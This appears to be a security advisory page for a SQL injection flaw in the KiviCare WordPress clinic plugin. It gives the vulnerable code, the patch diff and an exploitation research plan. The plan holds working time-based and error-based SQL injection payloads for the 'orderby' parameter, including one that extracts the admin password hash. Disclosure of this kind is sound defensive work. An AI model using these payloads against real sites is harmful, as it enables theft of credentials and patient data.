CVE-2026-15072

KiviCare <= 4.5.0 - Authenticated (Doctor+) SQL Injection via 'orderby' Parameter in KCQueryBuilder

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
4.5.1
Patched in
1d
Time to patch

Description

The KiviCare – Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to generic SQL Injection via the 'orderby' parameter in all versions up to, and including, 4.5.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with doctor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This requires that the attacker hold at minimum a KiviCare Doctor-level account, or a Receptionist or Clinic Admin role that grants the doctor_session_list capability.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.5.0
PublishedJuly 10, 2026
Last updatedJuly 11, 2026

What Changed in the Fix

Changes introduced in v4.5.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-15072 ## 1. Vulnerability Summary The **KiviCare – Clinic & Patient Management System (EHR)** plugin (<= 4.5.0) is vulnerable to an authenticated SQL injection via the `orderby` parameter. The vulnerability exists in the `KCQueryBuilder` class, which fails to…

Show full research plan

Exploitation Research Plan - CVE-2026-15072

1. Vulnerability Summary

The KiviCare – Clinic & Patient Management System (EHR) plugin (<= 4.5.0) is vulnerable to an authenticated SQL injection via the orderby parameter. The vulnerability exists in the KCQueryBuilder class, which fails to properly escape or prepare the sort field before incorporating it into SQL queries. Although the input is passed through sanitize_text_field(), this WordPress function only removes HTML tags and whitespace; it does not neutralize SQL metacharacters, allowing an attacker to manipulate the ORDER BY clause.

2. Attack Vector Analysis

  • Endpoint: /wp-json/kivicare/v1/doctor-sessions (REST API)
  • Method: GET
  • Vulnerable Parameter: orderby
  • Authentication Requirement: Authenticated user with the doctor role (or receptionist/clinic_admin with doctor_session_list capability).
  • Preconditions: The plugin must be active, and at least one doctor session should exist for the query to execute a path that reaches the database.

3. Code Flow

  1. Entry Point: App\controllers\api\DoctorSessionController::registerRoutes() registers the GET route for /doctor-sessions.
  2. Argument Definition: getListEndpointArgs() defines the orderby parameter as a string sanitized by sanitize_text_field.
  3. Callback: The getDoctorSessions() method (callback) receives the WP_REST_Request.
  4. Model Logic: The controller likely instantiates a model (e.g., App\models\KCDoctorSession) and passes the request parameters.
  5. Vulnerable Sink: The model utilizes App\baseClasses\KCQueryBuilder (referenced in the CVE) to construct the SQL query. The orderby value is concatenated into the ORDER BY clause without being validated against a whitelist of column names or being wrapped in $wpdb->prepare().

4. Nonce Acquisition Strategy

The WordPress REST API requires a wp_rest nonce for authentication when using cookie-based sessions.

  1. Identify Trigger: The KiviCare dashboard enqueues its React-based frontend for authenticated users.
  2. Setup:
    • Create a user with the doctor role using WP-CLI.
    • Log in as the doctor user using the browser_navigate tool.
  3. Extraction:
    • Navigate to the KiviCare dashboard (usually /wp-admin/admin.php?page=kivicare-clinic-management-system).
    • The nonce is typically localized in a global JavaScript object. Based on the provided source and standard KiviCare patterns, look for the kivicare_api_conf or similar variable.
    • Use browser_eval("window.kivicare_api_conf?.nonce") or search the page source for rest_url and nonce mapping.

5. Exploitation Strategy

We will use a time-based blind SQL injection payload within the orderby parameter.

  • Step 1: Create a Doctor user and session.
  • Step 2: Obtain the wp_rest nonce.
  • Step 3: Send a baseline request to measure response time.
  • Step 4: Send a payload designed to trigger a delay.

HTTP Request Pattern:

GET /wp-json/kivicare/v1/doctor-sessions?orderby=(CASE+WHEN+(1=1)+THEN+id+ELSE+(SELECT+1+FROM+(SELECT(SLEEP(5)))x)+END)&order=asc HTTP/1.1
Host: localhost:8080
X-WP-Nonce: [EXTRACTED_NONCE]
Cookie: [DOCTOR_SESSION_COOKIES]

Payload Analysis:

  • orderby=(CASE WHEN (1=1) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END): If 1=1 is true, it sorts by id. If false, it triggers SLEEP(5).
  • We can invert this to confirm: (CASE WHEN (1=2) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END) should cause a 5-second delay.

6. Test Data Setup

  1. Create Doctor Role User:
    wp user create attacker_doc attacker@example.com --role=doctor --user_pass=password123
    
  2. Ensure Plugin is Active:
    wp plugin activate kivicare-clinic-management-system
    
  3. Seed Data (Optional but Recommended):
    If the endpoint returns an empty set before the query runs, the ORDER BY might not trigger. Ensure at least one doctor session exists:
    # This might require manual setup via UI or complex SQL depending on schema
    # Use the DoctorSessionController create methods if possible.
    

7. Expected Results

  • Baseline: Response in < 200ms.
  • Injection (True): Response in < 200ms.
  • Injection (Triggered Sleep): Response in ~5000ms.
  • Data Extraction: By using (CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE id=1),1,1))=36) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END), we can verify the first character of the admin hash.

8. Verification Steps

After the HTTP exploit, verify the database's ability to process the injected logic:

  1. Check WPDB Error Log (if enabled):
    tail -f /var/www/html/wp-content/debug.log
    
  2. Verify via WP-CLI:
    Confirm the doctor user exists and has the correct capabilities.
    wp user cap list attacker_doc
    

9. Alternative Approaches

  • Boolean-Based: If time-based is unstable, observe if the order of results changes when injecting (CASE WHEN (condition) THEN id ELSE name END).
  • Error-Based: If WP_DEBUG is on, try a payload like updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1)),1) to see if the error is reflected in the REST response.
  • Other Endpoints: Check other controllers that use KCQueryBuilder (e.g., PatientController.php or ClinicController.php) for the same orderby pattern.
Research Findings
Static analysis — not yet PoC-verified

Summary

The KiviCare plugin for WordPress is vulnerable to authenticated SQL injection via the 'orderby' parameter in the DoctorSessionController. This occurs because the plugin fails to properly validate or escape the sort field before concatenating it into a database query. Users with at least Doctor-level privileges can exploit this to extract sensitive information from the database using time-based or boolean-based blind techniques.

Vulnerable Code

/* app/controllers/api/DoctorSessionController.php:115 */
'orderby' => [
    'description' => 'Sort results by specified field',
    'type' => 'string',
    'sanitize_callback' => 'sanitize_text_field',
],

---

/* app/controllers/api/DoctorSessionController.php:645 */
// Apply sorting with proper field mapping
$order = !empty($params['order']) && strtolower($params['order']) === 'desc' ? 'DESC' : 'ASC';
if (!empty($params['orderby'])) {
    $orderby = $params['orderby'];

    // Map frontend field names to database fields
    $fieldMapping = [
        'doctor_name' => 'kc_doctors.display_name',
        'clinic_name' => 'kc_clinics.name',
        'time_slot' => 'kc_doctor_sessions.time_slot'
    ];

    // Use mapped field if exists, otherwise use the field as-is with table prefix
    $sortField = isset($fieldMapping[$orderby])
        ? $fieldMapping[$orderby]
        : 'kc_doctor_sessions.' . $orderby;

    $query->orderBy($sortField, $order);
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/kivicare-clinic-management-system/4.5.0/app/controllers/api/DoctorSessionController.php /home/deploy/wp-safety.org/data/plugin-versions/kivicare-clinic-management-system/4.5.1/app/controllers/api/DoctorSessionController.php
--- /home/deploy/wp-safety.org/data/plugin-versions/kivicare-clinic-management-system/4.5.0/app/controllers/api/DoctorSessionController.php	2026-07-08 07:41:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/kivicare-clinic-management-system/4.5.1/app/controllers/api/DoctorSessionController.php	2026-07-10 10:20:34.000000000 +0000
@@ -115,6 +115,7 @@
                 'description' => 'Sort results by specified field',
                 'type' => 'string',
                 'sanitize_callback' => 'sanitize_text_field',
+                'validate_callback' => [$this, 'validateOrderBy'],
             ],
             'order' => [
                 'description' => 'Sort direction (asc or desc)',
@@ -488,6 +489,7 @@
                 'description' => 'Sort results by specified field',
                 'type' => 'string',
                 'sanitize_callback' => 'sanitize_text_field',
+                'validate_callback' => [$this, 'validateOrderBy'],
             ],
             'order' => [
                 'description' => 'Sort direction (asc or desc)',
@@ -558,6 +560,48 @@
         // Example: Only allow users with 'delete_posts' capability
         return $this->checkCapability('doctor_session_delete');
     }
+
+    /**
+     * Validate doctor session sort field.
+     *
+     * @param string $param
+     * @return bool|WP_Error
+     */
+    public function validateOrderBy($param)
+    {
+        if ($param === '') {
+            return true;
+        }
+
+        if (!array_key_exists($param, $this->getDoctorSessionSortFields())) {
+            return new WP_Error('invalid_orderby', __('Invalid sort field', 'kivicare-clinic-management-system'));
+        }
+
+        return true;
+    }
+
+    /**
+     * Map allowed request sort fields to fixed SQL identifiers.
+     *
+     * @return array<string, string>
+     */
+    private function getDoctorSessionSortFields(): array
+    {
+        return [
+            'id' => 'kc_doctor_sessions.id',
+            'doctor_id' => 'kc_doctor_sessions.doctor_id',
+            'clinic_id' => 'kc_doctor_sessions.clinic_id',
+            'doctor_name' => 'kc_doctors.display_name',
+            'clinic_name' => 'kc_clinics.name',
+            'day' => 'kc_doctor_sessions.day',
+            'start_time' => 'kc_doctor_sessions.start_time',
+            'end_time' => 'kc_doctor_sessions.end_time',
+            'time_slot' => 'kc_doctor_sessions.time_slot',
+            'status' => 'kc_doctor_sessions.status',
+            'created_at' => 'kc_doctor_sessions.created_at',
+        ];
+    }
+

Exploit Outline

To exploit this vulnerability, an attacker must first authenticate with a KiviCare account having at least the 'doctor' role (or a role with 'doctor_session_list' capability). After obtaining a valid session and the WordPress REST API nonce (X-WP-Nonce), the attacker sends a GET request to the `/wp-json/kivicare/v1/doctor-sessions` endpoint. The 'orderby' parameter is then populated with a SQL injection payload, such as a time-based blind payload using CASE and SLEEP functions. By measuring the server's response time, the attacker can infer data character by character from the WordPress database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.